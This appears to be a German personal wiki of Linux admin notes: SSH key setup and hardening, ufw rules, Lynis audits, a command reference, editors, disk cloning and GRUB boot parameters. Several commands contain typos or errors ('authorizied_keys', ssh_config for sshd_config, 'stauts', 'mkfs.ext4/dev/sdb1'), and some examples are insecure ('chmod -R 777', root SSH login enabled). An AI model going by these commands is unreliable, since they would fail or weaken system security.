`<span class="enlighter-text">:~$ </span><span class="enlighter-m0">ssh-copy-id</span><span class="enlighter-text"> <span class="enlighter-g1"><</span>Benutzer<span class="enlighter-g1">></span>@<span class="enlighter-n0">192.168</span>.<span class="enlighter-n0">0.130</span></span>`

**Public Key vom Server aus vom Client holen**

die id\_rsa.pub datei per scp auf den Server kopieren und mit   
`cat id_rsa.pub >> /home/hermann/.ssh/authorizied_keys` anhängen

<p class="callout info">oder</p>

Der Key kann auch manuell auf den Server übertragen werden indem man auf dem Server im Homeverzeichnis des Benutzers mit dem man sich verbinden will unter /home/benutzer/.ssh/authorizised\_keys den text aus der id\_rsa.pub Datei rein kopiert.

Wurde die Verbindung erfolgreich hergestellt, ist in der Datei /home/&lt;Benutzer&gt;/.ssh/authorized\_keys auf dem Server der Public-Key vom Client erfolgreich eingetragen. Prüfen könnt ihr das wie folgt:

`<span class="enlighter-text">:~$ cat /home/</span><span class="enlighter-g1"><</span><span class="enlighter-text">Benutzer</span><span class="enlighter-g1">></span><span class="enlighter-text">/.ssh/authorized_keys</span>`

**SSH-Key Verbindung testen – Client zu Server**  
So könnt ihr testen, ob die Einrichtung erfolgreich abgeschlossen wurde – die Passworteingabe ist ab jetzt nicht mehr erforderlich.

`<span class="enlighter-text">:~$ ssh </span><span class="enlighter-g1"><</span><span class="enlighter-text">Benutzer</span><span class="enlighter-g1">></span><span class="enlighter-text">@</span><span class="enlighter-n0">192.168</span><span class="enlighter-text">.</span><span class="enlighter-n0">0.130</span>`

Hat man die Konfiguration abgeschlossen und der SSH Zugriff mit Key funktioniert, so ist die Deaktivierung des Anmeldeverfahrens mit Passwort möglich. Dazu einfach diese Zeile in der systemweiten Konfiguration ändern.

<div class="page-content" id="bkmrk-%3A%7E%24-sudo-nano-%2Fetc%2Fs"><div class="page-content"><div dir="auto"><div class="entry-content" id="bkmrk-%3A%7E%24-sudo-nano-%2Fetc%2Fs-1"><div class="entry-content"><div class="enlighter-default enlighter-v-inline enlighter-t-enlighter ">  
</div><div class="enlighter-default enlighter-v-inline enlighter-t-enlighter ">`<span class="enlighter"><span class="enlighter-text">:~$ sudo nano /etc/ssh/ssh_config</span></span>`</div></div></div></div></div></div>**SSH-Config anpassen**

```
# Datei befindet sich /etc/ssh/sshd_config

PermitRootLogin no
```

```
PasswordAuthentication no
```

**Authorized\_Key kopieren**

```
# Erst einen Ordner für den Key anlegen 
mkdir /home/BENUTZERNAME/.ssh

# der Authorized Key befindet sich unter /root/.ssh
cp /root/.ssh/authorized_key /home/BENUTZERNAME/.ssh
```

**SSH Neustarten**

`sudo systemctl restart sshd`

### Firewall

Installieren

`apt install ufw`

```
# Applikationen anzeigen 
ufw app list

# Alles blockieren 
ufw default deny incoming 

# SSH erlauben 
ufw allow 22/tcp

# Firewall aktivieren
ufw enable 

# Firewall Status anzeigen 
ufw status

# Port für eine IP-Ardesse frei geben
sudo ufw allow from 192.168.1.100 to any port 80

# Ping verbieten
sudo ufw deny proto icmp
```

## Systemcheck durchführen

```
git clone https://github.com/CISOfy/lynis

cd lynis

sudo chown -R 0:0 *

sudo ./lynis audit system
```

Die Warnungen mit 'System-analyze security' kann man dabei ignorieren, denn dabei geht es nur um optionale Sandbox-Funktionen von Systemd.

## Logwatch: Über Angriffe Informiert

```
sudo apt install logwatch

# Starten
sudo logwatch
```

# SSH

### Installieren

#### Version von SSH Überprüfen

```
ssh -V
```

vor der Installation das System updaten

```
sudo apt update && sudo apt upgrade -y
```

#### SSH installieren 

```
sudo apt install openssh-server
```

[Weitere infos ](https://www.ubuntupit.com/how-to-install-configure-and-enable-ssh-service-in-linux/?utm_content=cmp-true)

### SSH einrichten

Config-Datei bearbeiten

```
nano /etc/ssh/sshd_config
```

### Weitere Sicherheit erzeugen 

[Server Sicherheit erhöhen](https://wiki.hhml.selfhost.co/books/linux/page/server-sicherheit-erhohen "Server Sicherheit erhöhen")

### Dateien übertragen

```
# Remote zu lokal
scp benutzer@10.1.1.102:/Pfad/zur/Datei.txt /Lokal/Pfad/zur/Datei.txt

# Lokal zu Remote
scp /Lokal/Pfad/zur/Datei.txt benutzer@10.1.1.102:/Pfad/Zur/Datei.txt
```

# Terminal Befehle

## Übersicht

<div class="page-content" id="bkmrk-befehl-beispiel-besc"><div class="page-content"><div dir="auto"><table id="bkmrk-befehl-beispiel-besc-1" style="width: 100%;"><thead><tr><th style="width: 26.2052%;">Befehl</th><th style="width: 28.6653%;">Beispiel</th><th style="width: 45.1295%;">Beschreibung</th></tr></thead><tbody><tr><td style="width: 26.2052%;">cat</td><td style="width: 28.6653%;">`cat /etc/fstab`</td><td style="width: 45.1295%;">Ausgabe von Text- und Konfigurationsdateien</td></tr><tr><td style="width: 26.2052%;">chmod</td><td style="width: 28.6653%;">`chmod -R 777 ~/Dokumente`</td><td style="width: 45.1295%;">ändert die Berechtigungen einer Datei oder Ordner</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`chmod +x dateinahme`</td><td style="width: 45.1295%;">macht eine Datei ausführbar</td></tr><tr><td style="width: 26.2052%;">touch</td><td style="width: 28.6653%;">`touch file1.md`  
</td><td style="width: 45.1295%;">erstellt eine leere Datei</td></tr><tr><td style="width: 26.2052%;">cp</td><td style="width: 28.6653%;">`cp mein.pdf ~/Schreibtisch`</td><td style="width: 45.1295%;">kopieren</td></tr><tr><td style="width: 26.2052%;">mv</td><td style="width: 28.6653%;">`mv datei.txt datei.old`</td><td style="width: 45.1295%;">Benennt eine Datei um</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`mv /mnt/transfer/text.txt /ort/text.txt`</td><td style="width: 45.1295%;">Datei verschieben</td></tr><tr><td style="width: 26.2052%;">rm</td><td style="width: 28.6653%;">`rm /home/sepp/*.jpg`</td><td style="width: 45.1295%;">löscht alle jpg dateien in Sepp (löschen)</td></tr><tr><td style="width: 26.2052%;">du</td><td style="width: 28.6653%;">`du /home/sepp/bilder`</td><td style="width: 45.1295%;">ermittelt den Speicherplatz eines Ordners</td></tr><tr><td style="width: 26.2052%;">mkdir</td><td style="width: 28.6653%;">`mkdir /home/sepp/dokumente`</td><td style="width: 45.1295%;">Erstellt einen Ordner</td></tr><tr><td style="width: 26.2052%;">rmdir</td><td style="width: 28.6653%;">`rmdir /media/data/bilder`</td><td style="width: 45.1295%;">löscht Ordner</td></tr><tr><td style="width: 26.2052%;">find</td><td style="width: 28.6653%;">`find / -name logs`

`find / -name logs 2>/dev/null`

</td><td style="width: 45.1295%;">Findet Dateien mit dem namen Logs

Durch die Erweiterung werden Fehlermeldungen die in Ausgabe 2 ausgegeben werden an /dev/null geschickt. Somit werden Fehlermeldungen nicht mehr angezeigt

</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">find . -user dan

</td><td style="width: 45.1295%;">Sucht alle Dateien die dem User dan gehören

</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`find . -executable -type f`

</td><td style="width: 45.1295%;">Findet Dateien, die ausführbar sind

</td></tr><tr><td style="width: 26.2052%;">locate</td><td style="width: 28.6653%;">`locate logs`

</td><td style="width: 45.1295%;">Ähnlich wie find

</td></tr><tr><td style="width: 26.2052%;">grep</td><td style="width: 28.6653%;">`grep 500 access.log`

</td><td style="width: 45.1295%;">Um innerhalb von dateien zu suchen. In dem Beispiel werden in access.log die Einträge mit 500 angezeigt

</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`grep -R password`

</td><td style="width: 45.1295%;">Suche im aktuellen Ordner mit allen unterordnern

</td></tr><tr><td style="width: 26.2052%;">less</td><td style="width: 28.6653%;">`less log.txt`

</td><td style="width: 45.1295%;">Damit können Dateien durchsucht werden

Wenn man in Less &amp;404 eingibt werden nur Zeilen mit dme inhalt 404 angezeigt.

Benenden mit !

</td></tr><tr><td style="width: 26.2052%;">man</td><td style="width: 28.6653%;">`man grep`

</td><td style="width: 45.1295%;">Hilfe zu Befehlen

</td></tr><tr><td style="width: 26.2052%;">tree</td><td style="width: 28.6653%;">`tree /home`</td><td style="width: 45.1295%;">Alternative zu ls</td></tr><tr><td style="width: 26.2052%;">rsync</td><td style="width: 28.6653%;">`rsync -au /home/sepp/ /media/USB/Backup`</td><td style="width: 45.1295%;">`kopiert, aktualisiert ("-u"), spiegelt ("--delete") verzeichnise rekursiv ("-a") im lokalen Dateisystem und Netzwerk (ähnlich wie robocopy)`</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`rsync -a -r --delete /home/sepp /mnt/paperless_backup`</td><td style="width: 45.1295%;">  
</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`rsync -au --delete --dry-run /home/sepp/ /media/sepp/USB/Backup`</td><td style="width: 45.1295%;">-dry-run dient als Simulation und vorabtest</td></tr><tr><td style="width: 26.2052%;">tar</td><td style="width: 28.6653%;">`tar -czf 2022_02_12 /home/sepp/`</td><td style="width: 45.1295%;">`komprimiert Ordner und Dateien. -c steht für create, -z für platzsparende gzip-Komprimierung, -f sorgt für rekursiven Umfang. Der Name des Archivs folgt nach den Schaltern, am Ende der Pfad der Quelldateien.`</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`tar -xf 2022-02-12`</td><td style="width: 45.1295%;">schalter -x entpackt Tar-Archive</td></tr><tr><td style="width: 26.2052%;">*System*</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">  
</td></tr><tr><td style="width: 26.2052%;">hostname</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">liefert Servername oder Computername des Systems</td></tr><tr><td style="width: 26.2052%;">shutdown / reboot</td><td style="width: 28.6653%;">`reboot now`</td><td style="width: 45.1295%;">Fährt das system herunter oder Starte neu</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">`shutdown 22:00`</td><td style="width: 45.1295%;">Herunterfahren zu einem bestimmten Zeitpunkt</td></tr><tr><td style="width: 26.2052%;">which</td><td style="width: 28.6653%;">`which poweroff`</td><td style="width: 45.1295%;">ermittelt den Systempfad eines Programms</td></tr><tr><td style="width: 26.2052%;">whereis</td><td style="width: 28.6653%;">`whereis python3`</td><td style="width: 45.1295%;">liefert auch noch weitere zu Pfade zu Bibliotheken oder Manpages</td></tr><tr><td style="width: 26.2052%;">service</td><td style="width: 28.6653%;">service --status-all</td><td style="width: 45.1295%;">informiert über aktive und inaktive systemdienste und bietet deren Steuerung an.</td></tr><tr><td style="width: 26.2052%;">  
</td><td style="width: 28.6653%;">service docker status</td><td style="width: 45.1295%;">Für den Dienst bestimmte Aktionen (auch stop, restart)</td></tr><tr><td style="width: 26.2052%;">systemd-analyze</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">Es protokolliert detailliert den Bootprozess und kann die Ursache von Bootverzögerungen entlarven.</td></tr><tr><td style="width: 26.2052%;">`python3 -m http.server 4444`</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">`Python Server zum bereitstellen von dateien im aktuellen Ornder`</td></tr><tr><td style="width: 26.2052%;">passwd</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">Passwort ändern</td></tr><tr><td style="width: 26.2052%;">lsblk</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">Festplatten anzeigen lassen </td></tr><tr><td style="width: 26.2052%;">ls</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt den Inhalt des aktuellen Verzeichnisses an</td></tr><tr><td style="width: 26.2052%;">ls -a</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt alle Inhalte an, auch die versteckten (beginnen mit einem Punkt)</td></tr><tr><td style="width: 26.2052%;">ls -l</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt den Inhalt des Verzeichnisses im Detail mit Zusatzinformationen an</td></tr><tr><td style="width: 26.2052%;">ls -la</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">kombiniert die Optionen -l und -a</td></tr><tr><td style="width: 26.2052%;">ls bin</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt das Unterverzeichnis bin oder eine Datei namens bin im aktuellen Verzeichnis an</td></tr><tr><td style="width: 26.2052%;">pwd</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt das aktuelle Verzeichnis an</td></tr><tr><td style="width: 26.2052%;">cd /etc</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">wechselt in das Verzeichnis /etc</td></tr><tr><td style="width: 26.2052%;">cd ../bin</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">wechselt eine ebene höher und von dort in das Unterverzeichnis bin</td></tr><tr><td style="width: 26.2052%;">cd -</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">wechselt in das vorhergehende Verzeichnis</td></tr><tr><td style="width: 26.2052%;">cd</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">wechselt in das Homeverzeichnis des aktuellen Benutzers</td></tr><tr><td style="width: 26.2052%;">mkdir bin</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">erstellt ein Unterverzeichnis bin</td></tr><tr><td style="width: 26.2052%;">nano [HelloWorld.py](http://helloworld.py/)</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">ruft den Editor nano mit der angegebenen Datei auf (wird ggf. erstellt)</td></tr><tr><td style="width: 26.2052%;">cat [HelloWorld.py](http://helloworld.py/)</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt die (Text-)Datei [HelloWorld.py](http://helloworld.py/) an</td></tr><tr><td style="width: 26.2052%;">mv [HelloWorld.py](http://helloworld.py/) [helloworld.py](http://helloworld.py/)</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">benennt die Datei von [HelloWorld.py](http://helloworld.py/) in [helloworld.py](http://helloworld.py/) um</td></tr><tr><td style="width: 26.2052%;">mv [helloworld.py](http://helloworld.py/) ../</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">verschiebt die angegebene Datei in das übergeordnete Verzeichnis</td></tr><tr><td style="width: 26.2052%;">cp [helloworld.py](http://helloworld.py/) bin/HelloWorld.py</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">kopiert die angegebene Datei an die angegebene Stelle</td></tr><tr><td style="width: 26.2052%;">rm [helloworld.py](http://helloworld.py/)</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">löscht die angegebene Datei</td></tr><tr><td style="width: 26.2052%;">which python</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt den Pfad zum angegebenen Programm</td></tr><tr><td style="width: 26.2052%;">python3 [HelloWorld.py](http://helloworld.py/)</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">ruft [HelloWorld.py](http://helloworld.py/) mit dem Python3-Interpreter auf</td></tr><tr><td style="width: 26.2052%;">chmod +x [HelloWorld.py](http://helloworld.py/)</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">ergänzt das Ausführen-Recht für alle Benutzer für die angegebene Datei</td></tr><tr><td style="width: 26.2052%;">echo $PATH</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">zeigt den Inhalt der Variablen PATH an</td></tr><tr><td style="width: 26.2052%;">PATH='/root/bin':$PATH</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">fügt der Variablen PATH vorn /root/bin an</td></tr><tr><td style="width: 26.2052%;">apt-get install kate</td><td style="width: 28.6653%;">  
</td><td style="width: 45.1295%;">installiert das Paket kate</td></tr></tbody></table>

</div></div></div>### Dateisystem

<table border="1" id="bkmrk-pfad-bezeichnung-%2Fbi" style="border-collapse: collapse; width: 100%; border-width: 1px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td style="border-width: 1px;">Pfad</td><td style="border-width: 1px;">Bezeichnung</td></tr><tr><td style="border-width: 1px;">/bin</td><td style="border-width: 1px;">Enthält Programm des Betriebssystems</td></tr><tr><td style="border-width: 1px;">/home</td><td style="border-width: 1px;">Nutzerverzeichnisse</td></tr><tr><td style="border-width: 1px;">/opt</td><td style="border-width: 1px;">Anwendungen von Drittanwendern (apt…)</td></tr><tr><td style="border-width: 1px;">/usr</td><td style="border-width: 1px;">Enhält Anwendungen die vom Admin auf dem System gebaut wurden und Programmbibliotheken</td></tr><tr><td style="border-width: 1px;">/etc</td><td style="border-width: 1px;">Enhält anwendungszugehörige Dateien zum Konfigurieren</td></tr><tr><td style="border-width: 1px;">/var</td><td style="border-width: 1px;">Enthält häufig veränderte Dateien (Logs/Temp)</td></tr><tr><td style="border-width: 1px;">/dev</td><td style="border-width: 1px;">Seht für Devices. </td></tr><tr><td style="border-width: 1px;">/mnt</td><td style="border-width: 1px;">  
</td></tr></tbody></table>

### Geräte Mounten 

lsblk &gt; Zeigt an welche Festplatten es gibt  
mkdir usbstick &gt; Erstellt einen Ordner in dem die dateien angezeigt werden sollen   
sudo mount /dev/sdb1 usbstick &gt; Mounted den USB-Stick in den Ordner usbstick

# Find

```
## Dateien suchen

### Dateien mit einem bestimmten Namen

find /pfad/zum/ordner -tpye f -iname "*string*.*"

### Dateien mit bestimmten Namen die Zuletzt bearbeitert wurden 

find /pfad/zum/ornder -type f -iname "*string*.*" -exec ls -lt {} +

**Nur die letzten 10**

find /pfad/zum/ordner -type f -iname "*suchstring*.*" -exec ls -lt {} + | head -10

### Inhalt durchsuchen 

find /pfad/zum/ordner -type f -exec grep -l "dein_inhalt" {} +

```

Dateien Suchen

```
find /home/dapelza/Nextcloud -type f -name „*.ods“ -exec stat -c „%y %n“ {} + | sort -r | head -n 10
```

## Texteditor nano

<table border="1" id="bkmrk-befehl-beschreibung-" style="border-collapse: collapse; width: 100%; border-width: 1px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td style="border-width: 1px;">**Befehl**</td><td style="border-width: 1px;">**Beschreibung**</td></tr><tr><td style="border-width: 1px;">Crtl + X</td><td style="border-width: 1px;">Verlassen</td></tr><tr><td style="border-width: 1px;">Crtl + 6</td><td style="border-width: 1px;">Marieren</td></tr><tr><td style="border-width: 1px;">ALT + 6</td><td style="border-width: 1px;">Kopieren</td></tr><tr><td style="border-width: 1px;">Crtl + U</td><td style="border-width: 1px;">Einfügen</td></tr><tr><td style="border-width: 1px;">Crtl + K</td><td style="border-width: 1px;">Ausschneiden</td></tr><tr><td style="border-width: 1px;">Alt + U</td><td style="border-width: 1px;">Rückgängig</td></tr><tr><td style="border-width: 1px;">Alt + E</td><td style="border-width: 1px;">Wiederholen</td></tr><tr><td style="border-width: 1px;">Crtl + W</td><td style="border-width: 1px;">Suchen</td></tr><tr><td style="border-width: 1px;">Esc + B</td><td style="border-width: 1px;">Zum umschalten (Toogle)</td></tr><tr><td style="border-width: 1px;">Crtl + \\</td><td style="border-width: 1px;">Suchen + Ersetzen</td></tr><tr><td style="border-width: 1px;">Crtl + G</td><td style="border-width: 1px;">Hilfe</td></tr><tr><td style="border-width: 1px;">Crtl + R</td><td style="border-width: 1px;">Weitere Datei öffnen (vorher mit Esc - F) Dann würd eine neue Datei geöffnet. Mit Crtl + T Browser öffnen</td></tr><tr><td style="border-width: 1px;">Alt + &lt; oder &gt;</td><td style="border-width: 1px;">Zwischen den geöffneten Dateien wechseln</td></tr><tr><td style="border-width: 1px;">Esc - X </td><td style="border-width: 1px;">Hilfe ein und ausschalten</td></tr><tr><td style="border-width: 1px;">Esc - C </td><td style="border-width: 1px;">Zeilennummer anschauen lassen</td></tr><tr><td style="border-width: 1px;">Esc - P</td><td style="border-width: 1px;">Kontrollmarker anzeigen lassen</td></tr><tr><td style="border-width: 1px;">Esc - O </td><td style="border-width: 1px;">Stellt den Tabulator um </td></tr><tr><td style="border-width: 1px;">Esc - Y</td><td style="border-width: 1px;">Syntaxhighlighting</td></tr><tr><td style="border-width: 1px;">Crtl + T</td><td style="border-width: 1px;">Ausführen</td></tr></tbody></table>

Nano mit der Konfigurationsdatei anpassen

nano /etc/nanorc

z. B. Zeilennummern anzeigen lassen

set linenumbers

## Texteditor vi

<div class="page-content" id="bkmrk-befehl-kommentar-vi-"><div class="page-content"><div dir="auto"><table border="1" id="bkmrk-befehl-kommentar-vi--1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr><td>Befehl</td><td>  
</td><td>Kommentar</td></tr><tr><td>`vi`  
</td><td>`vi file1.md`  
</td><td>Startet den vi Editor (sofern installiert)</td></tr><tr><td>`i`  
</td><td>  
</td><td>startet den Insert Mode</td></tr><tr><td>`esc`  
</td><td>  
</td><td>Insertmode wird beendet

</td></tr><tr><td>`:wq`  
</td><td>  
</td><td>Datei schreiben und beenden

</td></tr></tbody></table>

</div></div></div>## Bash konfigurieren 

## System

### Informationen anzeigen

```
`cat/etc/*_ver* /ect/*-rel*`

```

## Terminal-Interna

<div class="page-content" id="bkmrk-befehl-beschreibung--1"><div class="page-content"><div dir="auto"><table border="1" id="bkmrk-befehl-beschreibung--2" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 25.6174%;"></col><col style="width: 74.5062%;"></col></colgroup><tbody><tr><td>Befehl</td><td>Beschreibung</td></tr><tr><td>bind

</td><td>Tastenbelegung im Terminal. *Beispiel* `bind '"\C_L":kill-whole-line' "\\C" = Strg, "\\e" = Alt, "\\n" = Enter` `Bind-Befehle können Sie interaktiv ausprobieren. Sie gelten bis zum Schließen des Terminals. Für permanente Gültigkeit benötigen Sie einen Eintrag in der „\~/.bashrc“.`</td></tr><tr><td></td><td>**Dauerhaftes einbinden** `~/.bash_aliases` bearbeiten | Befehle und tastenkombinatinen hinterlegen | `alias checkupdates='sudo apt-get update && sudo apt-get upgrade -y'`</td></tr><tr><td>file

</td><td>**Beschreibung:** ermittelt den Dateityp und die genauen inhaltlichen Dateieigenschaften</td></tr><tr><td>htop

</td><td>**Beschreibung:** Taskmanager für den Terminal</td></tr><tr><td>**Festplatte**

</td><td>  
</td></tr><tr><td>hdparm -c /dev/sda

</td><td>Festplatte überprüfen</td></tr><tr><td>hdparm -Y /dev/sda

</td><td>Festplatte geht in den StandbyModus</td></tr><tr><td>ls -la /dev/disk/by-id/

</td><td>zeigt alle Festplatten mit der ID an.</td></tr><tr><td></td><td> nano /etc/hdparm.conf</td></tr></tbody></table>

</div></div></div>## Weitere Dienste

### Datenträger Klonen

```shell
sudo dd if=/dev/sda of=/dev/sdb  # if = Quelle of = Ziel

# Mit Status: 

sudo dd if=/dev/sda of=/dev/sdb stauts=progress

```

### Datenträger formatieren

```
# Datenträger anzeigen
sudo fdisk -I

# Formatieren in ext4
mkfs.ext4/dev/sdb1 # Damit wir der Datenträger sdb1 in ext4 formatiert. mkfs steht für make filesystem

```

Formatieren mit GParted

```
# GParted installieren
apt install parted

# F
unmount /dev/sdb1


```

### Linux in deutsch

**Systemsprache umstellen**

`sudo dpkg-reconfigure locales`

**Tastatur Layout umstellen**

`sudo dpkg-reconfigure keyboard-configuration`

### Paketdienst installieren

$ sudo apt update &amp;&amp; sudo apt install snapd

Installiert Snap

### Programme mit Snap installieren

sudo snap install onionshare

### Metadaten aus Dateien (PDF) entfernen

```
> exiftool -all:all= datei-print.pdf
Warning: [minor] ExifTool PDF edits are reversible. Deleted tags may be recovered!
   1 image files update

> qpdf --linearize datei-print.pdf datei-clean.pdf

> rm datei-print.pdf


```

Mit dem Befehl kann man die Daten überprüfen:

`exiftool -all:all datei-clean.pdf`

### Administrator

`sudo -s`

### SSH auf Container aktivieren

Datei: `/etc/ssh/sshd_config`

Authentication: `PermitRootLogin yes `

# Tipps zu Linux

### Taskmanager in der Konsole: 

btop

## Systeminfos anzeigen

Fastfetch über Github herunterladen

## Autostart-Infos bei SSH-Anmeldung

`~/.ssh/rc` in der Datei kannn man Befehle ablegen die nach dem Start der SSH-Shell abgearbeitet werden.

Beispiel:

```
echo "INFO ~/.ssh/rc -----------------------------------------"
echo -n "Hostname  : " uname -n
echo -n "Gestartet : " uptime -s
echo "--------------------------------------------------------"
ip address | grepp "inet" | awk '{print $2}'
echo "--------------------------------------------------------"
df -h | grep "/dev/" | grep -v "tmp"
echo "--------------------------------------------------------"
```

# Treiber & Hardware für Linux

<span dir="ltr" role="presentation">Gängige</span> <span dir="ltr" role="presentation">Linux-Distri</span><span dir="ltr" role="presentation">butionen</span> <span dir="ltr" role="presentation">bringen </span><span dir="ltr" role="presentation">Treiber</span><span dir="ltr" role="presentation">für</span> <span dir="ltr" role="presentation">fast</span> <span dir="ltr" role="presentation">jede </span><span dir="ltr" role="presentation">Hardware</span> <span dir="ltr" role="presentation">mit.</span> <span dir="ltr" role="presentation">Sollte </span><span dir="ltr" role="presentation">ein</span> <span dir="ltr" role="presentation">Gerät</span> <span dir="ltr" role="presentation">nicht</span> <span dir="ltr" role="presentation">voll</span><span dir="ltr" role="presentation">ständig</span> <span dir="ltr" role="presentation">unterstützt </span><span dir="ltr" role="presentation">werden</span> <span dir="ltr" role="presentation">oder </span><span dir="ltr" role="presentation">gar</span> <span dir="ltr" role="presentation">nicht </span><span dir="ltr" role="presentation">funktionieren,</span> <span dir="ltr" role="presentation">gibt</span> <span dir="ltr" role="presentation">es </span><span dir="ltr" role="presentation">auch</span> <span dir="ltr" role="presentation">dafür</span> <span dir="ltr" role="presentation">Lösungen.</span>

<span dir="ltr" role="presentation">Computerhardware wird vor allem für den Windows-Markt produziert. Vom Gerätehersteller können Linux-Nutzer kaum Unterstützung erwarten und zusätzliche Treiber für Linux gibt es in der Regel nicht als Setup-Paket. Es ist daher ratsam, sich bereits vor dem Kauf neuer Hardware über die Linux-Tauglichkeit zu informieren. Auf älteren PCs oder Notebooks lässt sich Linux meist hne besondere Auffälligkeiten installieren. Aber auch hier kann es in Ausnahmefällen vorkommen, dass der Bildschirm schwarz leibt, einzelne Funktionen unter Linux nicht bereitstehen oder neuere Hardware am USB-Anschluss nicht erkannt wird. Einige Probleme lassen sich durch Konfigurationsänderungen oder durch Wechsel der Linux-Distribution beheben. Am Anfang steht jedoch die Untersuchung der Hardware. Die kann ergeben, dass sich das Gerät mit einem neueren Kernel oder einem zusätzlichen Treiber nutzen lässt. </span>

**<span dir="ltr" role="presentation">Hardwaremacken umgehen </span>**

<span dir="ltr" role="presentation">PC-Hardware folgt keinen eindeutigen Standards. Für die Hersteller ist nur eins  
24 wichtig: Windows muss anstandslos laufen. Der eine oder andere Fehler in der Firmware oder auf der Hauptplatine wird dann bei Bedarf über einen Treiber repariert, den es für Linux aber nicht gibt. Besonders Notebooks, die auf Microsoft Windows zugeschnitten sind, bereiten mit ihren zahlreichen Bios-Versionen, abweichenden ACPI-Stromsparfunktionen und Chipsatzvarianten häufiger Ärger. Mal bleibt der Bildschirm dunkel, mal geht nach den ersten Bootmeldungen nichts mehr weiter. Bei der Linux-Neuinstallation helfen dann oft spezielle Kernel-Parameter weiter. Wenn Sie Ubuntu 22.04 oder Linux Mint 21 vom Installationsmedium booten, begrüßt Sie das Grub-Bootmenü. Mit dem ersten Eintrag „Try or Install Ubuntu“ beziehungsweise „Start Linux Mint 21 Cinnamon 64-Bit“ startet das System mit den Standardeinstellungen. Sollte der Bildschirm schwarz bleiben oder unlesbar sein, kann der zweite Menüeintrag „Ubuntu (safe graphics)” oder „Start Linux Mint 21 Cinnamon 64-Bit (compatibility mode)“ weiterhelfen. Dabei werden Optionen an den Kernel übergeben, die die Hardwaresteuerung beeinflussen. Jedes Linux-System bietet eine Reihe von Kernel-Optionen - in der Dokumentation oft auch als Bootparameter oder Cheatcodes bezeichnet.  
Über das Grub-Bootmenü lassen sich zusätzliche Optionen angeben. Dazu drückt man nach der Markierung eines Booteintrags die Taste E und erhält dann einen Mini-Texteditor für den jeweiligen Eintrag gezeigt. Die Navigation im Textfeld erfolgt mit den Cursortasten. Grundsätzlich müssen Kernel-Parameter in die Zeile eingetragen werden, die mit „linux“ beginnt, aber vor „--"”. Nach der Änderung startet die Taste F10 den Booteintrag mit den neuen Einstellungen.  
Bitte beachten Sie, dass im Grub-Editor eine englischsprachige Tastaturbelegung gilt. Bleibt der Bildschirm nach einem zunächst erfolgreichen Start dunkel, so lieg dies meist an nicht ausreichend unterstützten Grafikchips. Folgende Optionen können in diesem Fall weiterhelfen. </span>

**<span dir="ltr" role="presentation">xforcevesa: </span>**<span dir="ltr" role="presentation">Bei der Angabe dieser Option nutzt der Kernel für die Anzeige der grafischen Oberfläche nur den Vesa-Modus. Dieser Modus läuft auf den meisten Grafikchips, ohne jedoch deren spezielle Merkmale wie Hardwarebeschleunigung und Fähigkeiten zu nutzen.</span>

**<span dir="ltr" role="presentation">nomodeset: </span>**<span dir="ltr" role="presentation">Aktuelle Linux-Kernel können den Bildschirmmodus auf eigene Faust wechseln und schalten schon während des Bootvorgangs in einen grafischen Modus. Dies funktioniert nicht bei allen Grafikchips - so haben einige Modelle von Nvidia Probleme damit. Mit „nomodeset“ verzichtet der Kernel auf den Wechsel in den Grafikmodus und bleibt bei purem Text. Ubuntu und Linux Mint verwenden diese Option bei Auswahl des zweiten Menüeintrags. Auf einigen Notebooks verhindern inkompatible Stromsparfunktionen im ACPI (Advanced Configuration and Power Interface den Linux-Start. Linux Mint verwendet beim Menüeintrag „Start Linux Mint 21 Cinnamon 64-Bit (compatibility mode)“ einige der nachfolgend genannten Optionen. </span>

